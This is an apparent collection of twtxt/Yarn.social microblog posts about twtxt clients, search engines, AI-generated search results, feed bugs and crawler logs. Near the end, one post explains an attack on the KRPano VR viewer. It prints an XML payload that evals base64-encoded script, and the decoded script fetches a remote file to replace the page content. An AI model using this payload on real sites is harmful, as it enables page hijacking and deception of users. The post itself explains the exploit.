@prologic@twtxt.net Don’t worry about it!

I also getting angry thinking how this Chat Control crap will escalate to.

I’m already thinking of countermeasures and self-hosted alternatives, while searching lists of affected apps and services to replace/drop in the worst scenario (and probably devices).

Hello everyone! 👋

After a long while away, I’m back on twtxt with this new feed.

Some of you might remember me as justamoment@twtxt.net, that was a test account I made for trying things out, but I ended up keeping it more than planned.

I also tried other social platforms in search of a place that felt right for me.

In the end twtxt was the one that ticked all of my boxes:

• Slow social: it act more like a feed reader and I really appreciate that there’s no flood of content that I can’t keep up with.
  
• No server needed: I absolutely love to have total control over my content, I tend to avoid having moving parts that might break, plus you can put your feed under version control and it’s all backed up.
  
• Ownership: I can put my feed anywhere I want and nobody can decide if I can access it or not.
  
• For hackers: a single .txt file allows me to join a community, how cool is that!
  

This is why I decided to build my own twtxt client, one that allows you to decide how the feed is presented on your “instance”.

It’s still in the making but I’ll try to share a bit of it once I defined how things should work.

Coincidentally, I discovered that @itsericwoodward@itsericwoodward.com and @zvava@twtxt.net were also building a twtxt client, seems like twtxt is set to grow!

Drawn based on a quick doodle, the canine returns victorious, from the battle of Hot Topic bargain bin, as smug as can be.
Whoever will be the first to inform him, the spikes aren’t real gold and it’s most likely not even leather, meaning it’s not what he’s really been searching the universe for, better prepare themselves, to be jumped on, bitten and shredded by claws.

search page, bookmarks page, improved thread view (that i will probably improve further), as well as a logo and a whole ui redesign. it is truly all coming together…were i to mark any items off the roadmap :p

About ChatGPT rotting people’s brains, similarly could be said about search engines, and reference books. Oh, also doom scrolling, and mobile devices, and the Internet… :-P

@movq@www.uninformativ.de A quick search revealed https://www.tux-onlineshop.de/plueschtiere next door to you, but these tuxes look rather ugly. Also, shipping to the US&A is 60 bucks. I bet @kat@yarn.girlonthemoon.xyz’s sister can do better. :-)

Farrrk me Google search is and these days. Will they please “fuck off” with this Gemini AI garbage at the top that takes forever and is distracting as shit™ 💩 Fark me 🤦‍♂️ #Google #Search #Sucks #AI #Gemini

@movq@www.uninformativ.de Yeah I actually use sift a lot these days for most “searching” – at least code and text searching. For finding files by name I still use find | grep.

@bender@twtxt.net Yes, you right. But is premium for more than that.
I use a feature I love a lot: customising different searches with different themes or links.
It’s easy to understand with an example. I have a search with the name “Django”. I set sources: Django documentation, stack overflow, topic “programming” and so on. It’s very quick to find Django solutions.
I also have another way to find my stuff: search my blog and repositories.
I had problems paying for the first mouths, now it’s a working tool for me.

@andros@twtxt.andros.dev what makes Kagi “the best search engine”? It is premium, alright. Allegedly you don’t get ads, but pay up-front for it, monthly.

I am very agree with the article. For me, Kagi is the best search engine. A premium experience.

Help ChatGPT discover your products
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@thecanine@twtxt.net Yeah this is where I think all the hype really falls down. It’s all just a really really expensive search engine and auto-complete 🤦‍♂️ That’s it!

I just fixed a bug in tt’s reply to parent feature. Previously, when the message tree looked like the following

Message
├╴Reply 1
│ └╴Subreply
└╴Reply 2

and “Reply 2” was selected, pressing A to reply to the parent should have picked “Message”. However, a reply to “Reply 2” was composed instead. The reason was a precausiously introduced safety guard to abort the parent search which stopped at “Subreply”, because its subject didn’t match “Reply 2”’s. It was originally intended to abort on a completely different message conversation root. Just in case. Turns out that this thoght was flawed.

Fixing bugs by only removing code is always cool. :-)

/ME slipping a note under @klaxzy@klaxzy.net’s keyboard.

Note: “You should check https://marginalia-search.com/ I bet you’ll love it.”

Oddly, in defense of Google keeping Chrome
As much as I’m a fan of breaking up Google, I’m not entirely sure carving Chrome out of Google without a further plan for what happens to the browser is a great idea. I mean, Google is bad, but but things could be so, so much worse. OpenAI would be interested in buying Google’s Chrome if antitrust enforcers are successful in forcing the Alphabet unit to sell the popular web browser as part of a bid to restore competition in search, an OpenAI execu … ⌘ Read more

A Principled Approach to Querying Data – A Type-Safe Search DSL
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Hmmm there’s a bug somewhere in the way I’m ingesting archived feeds 🤔

sqlite> select * from twts where content like 'The web is such garbage these days%';
      hash = 37sjhla
  feed_url = https://twtxt.net/user/prologic/twtxt.txt/1
   content = The web is such garbage these days 😔 Or is it the garbage search engines? 🤔
   created = 2024-11-14T01:53:46Z
created_dt = 2024-11-14 01:53:46
   subject = #37sjhla
  mentions = []
      tags = []
     links = []
sqlite>

Timeline of Evolution of Twtxt/Yarn.social:

• 2016 – Twtxt created by John Downey: plain text + HTTP = minimalist microblogging
  
• 2017–2019 – Community builds CLI tools, but adoption remains niche
  
• 2020 – Yarn.social launched by @prologic@twtxt.net with federation, threading, UI
  
• 2021–2023 – Pods sync, user mentions, blocking, search, and media support added
  
• 2024+ – Yarn.social becomes the reference Twtxt platform, with active federated pods

Full Text Search of US Court records
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Judge Rules Blanket Search of Cell Tower Data Unconstitutional
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Viral ChatGPT trend is doing ‘reverse location search’ from photos
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Google Search to redirect its country level TLDs to Google.com
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Dam the search here is sooo good now 😅

Windows Recall returns, and its companion feature does not keep data on-device
Remember Windows Recall, the Windows feature that would take a screenshot of your desktop every three seconds, stored them in a database, and then let you search through them at later dates? The feature has been hobbled by implementation problems, security issues, and privacy troubles, and has been released in preview and pulled since its original unveiling. Well, it’s back in … ⌘ Read more

Anyway. this was a good use for search btw. I couldn’t find my Twt, so I just quickly searched for it, snap, bingo I found it in a snap! 🫰

PostgreSQL Full-Text Search: Fast When Done Right (Debunking the Slow Myth)
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@prologic@twtxt.net, from IRC:

1. Saving preferences is failing. Specifically trying to save “Open Links” on the same window. For sure it isn’t happening. Check errors on browser’s console.
   
2. Search results pagination is broken. Search for “twtxt.net” and see it. Also, picking oldest/newest makes no difference on that search query.

@prologic@twtxt.net I can live without highlights. Actually, I prefer not to have them. A good search is all I want.

Search syntax appears to be:

hello
"hello world"
hello AND world
hello OR world
hello NOT world
"this is a phrase"

@prologic@twtxt.net pretty neat, search actually works now!

@lyse@lyse.isobeef.org I’m open to other suggestions 🤣 But hopefully both adding the additional prompt, not allowing it to enter shell history and removing from my shell history prevents me from doing such silly things in haste by pressing ^R and using fuzzy search which if you type fast you sometimes get wrong 😑

FYI: I’ve re-opened up search for anonymous use. So things like this now work without having to have an account on this pod or login. 👌 #search #twtxt

I don’t think I can trust Google as my search engine anymore
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How to protect your phone and data privacy at the US border
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Activeloop (YC S18) Is Hiring Senior Python Back End and AI Search Engineers
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@prologic@twtxt.net If it develops, and I’m not saying it will happen soon, perhaps Yarn could be connected as an additional node. Implementation would not be difficult for any client or software. It will not only be a backup of twtxt, but it will be the source for search, discovery and network health.

Google, DuckDuckGo massively expand “AI” search results
Clearly, online search isn’t bad enough yet, so Google is intensifying its efforts to continue speedrunning the downfall of Google Search. They’ve announced they’re going to show even more “AI”-generated answers in Search results, to more people. Today, we’re sharing that we’ve launched Gemini 2.0 for AI Overviews in the U.S. to help with harder questions, starting with coding, advanced math and multimodal queries, with mor … ⌘ Read more

looks good to me!

About alice’s hash, using SHA256, I get 96473b4f or 96473B4F for the last 8 characters. I’ll add it as an implementation example.
The idea of including it besides the follow URL is to avoid calculating it every time we load the file (assuming the client did that correctly), and helps to track replies across the file with a simple search.

Also, watching your example I’m thinking now that instead of {url=96473B4F,id=1} which is ambiguous of which URL we are referring to, it could be something like:
{reply_to=[URL_HASH]_[TWT_ID]} / {reply_to=96473B4F_1}
That way, the ‘full twt ID’ could be 96473B4F_1.

@prologic@twtxt.net Of course you don’t notice it when yarnd only shows at most the last n messages of a feed. As an example, check out mckinley’s message from 2023-01-09T22:42:37Z. It has “[Scheduled][Scheduled][Scheduled]“… in it. This text in square brackets is repeated numerous times. If you search his feed for closing square bracket followed by an opening square bracket (][) you will find a bunch more of these. It goes without question he never typed that in his feed. My client saves each twt hash I’ve explicitly marked read. A few days ago, I got plenty of apparently years old, yet suddenly unread messages. Each and every single one of them containing this repeated bracketed text thing. The only conclusion is that something messed up the feed again.

@prologic@twtxt.net @xuu@txt.sour.is There:

Just search for ][ in https://twtxt.net/user/mckinley/twtxt.txt and you’ll see.

reviewing logs this morning and found i have been spammed hard by bots not respecting the robots.txt file. only noticed it because the OpenAI bot was hitting me with a lot of nonsensical requests. here is the list from last month:

• (810) bingbot
  
• (641) Googlebot
  
• (624) http://www.google.com/bot.html
  
• (545) DotBot
  
• (290) GPTBot
  
• (106) SemrushBot
  
• (84) AhrefsBot
  
• (62) MJ12bot
  
• (60) BLEXBot
  
• (55) wpbot
  
• (37) Amazonbot
  
• (28) YandexBot
  
• (22) ClaudeBot
  
• (19) AwarioBot
  
• (14) https://domainsbot.com/pandalytics
  
• (9) https://serpstatbot.com
  
• (6) t3versionsBot
  
• (6) archive.org_bot
  
• (6) Applebot
  
• (5) http://search.msn.com/msnbot.htm
  
• (4) http://www.googlebot.com/bot.html
  
• (4) Googlebot-Mobile
  
• (4) DuckDuckGo-Favicons-Bot
  
• (3) https://turnitin.com/robot/crawlerinfo.html
  
• (3) YandexNews
  
• (3) ImagesiftBot
  
• (2) Qwantify-prod
  
• (1) http://www.google.com/adsbot.html
  
• (1) http://gais.cs.ccu.edu.tw/robot.php
  
• (1) YaK
  
• (1) WBSearchBot
  
• (1) DataForSeoBot
  

i have placed some middleware to reject these for now but it is not a full proof solution.

Well, that’s another bug: The search https://twtxt.net/search?q=%22LOOOOL%2C+great+programming+tutorial+music%22 yields the wrong hash. It should have been poyndha instead.

Reading “Man’s search for meaning” by Viktor E. Frankl

Unit Circle
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@slashdot@feeds.twtxt.net Who the F+++ still uses goo’s search engine anyway xD Shout out to all my homies hosting a Searx instance 😂🤘

Google begins requiring JavaScript for Google Search
Google says it has begun requiring users to turn on JavaScript, the widely used programming language to make web pages interactive, in order to use Google Search. In an email to TechCrunch, a company spokesperson claimed that the change is intended to “better protect” Google Search against malicious activity, such as bots and spam, and to improve the overall Google Search experience for users. The spokesperson noted that, with … ⌘ Read more

Google Begins Requiring JavaScript For Google Search
Google says it has begun requiring users to turn on JavaScript, the widely-used programming language to make web pages interactive, in order to use Google Search. From a report: In an email to TechCrunch, a company spokesperson claimed that the change is intended to “better protect” Google Search against malicious activity, such as bots and spam, and to improve the over … ⌘ Read more

So this works by adding some unbounded javascript autoloaded by the KRPano VR Media viewer
the xml parameter has a url that contains the following

<?xml version="1.0"?>
<krpano version="1.0.8.15">
    <SCRIPT id="allow-copy_script"/>
    <layer name="js_loader" type="container" visible="false" onloaded="js(eval(var w=atob('... OMIT ...');eval(w)););"/>
</krpano>

the omit above is base64 encoded script below:

const queryParams = new URLSearchParams(window.location.search),
          id = queryParams.get('id');
    id ? fetch('https://sour.is/superhax.txt')
        .then(e => e.text())
        .then(e => {
            document.open(), document.write(e), document.close();
        })
        .catch(e => {
            console.error('Error fetching the user agent:', e);
        }) : console.error('No');

this script will fetch text at the url https://sour.is/superhax.txt and replaces the document content.

@lime360@lime360.nekoweb.org Down at the moment due to hardware failure of one of my nodes. I have the spare parts to bring it back online, just need to find the time 😅 Sorry for the inconvenience, I just can’t afford to run the search engine right now on the remaining two nodes 😢😢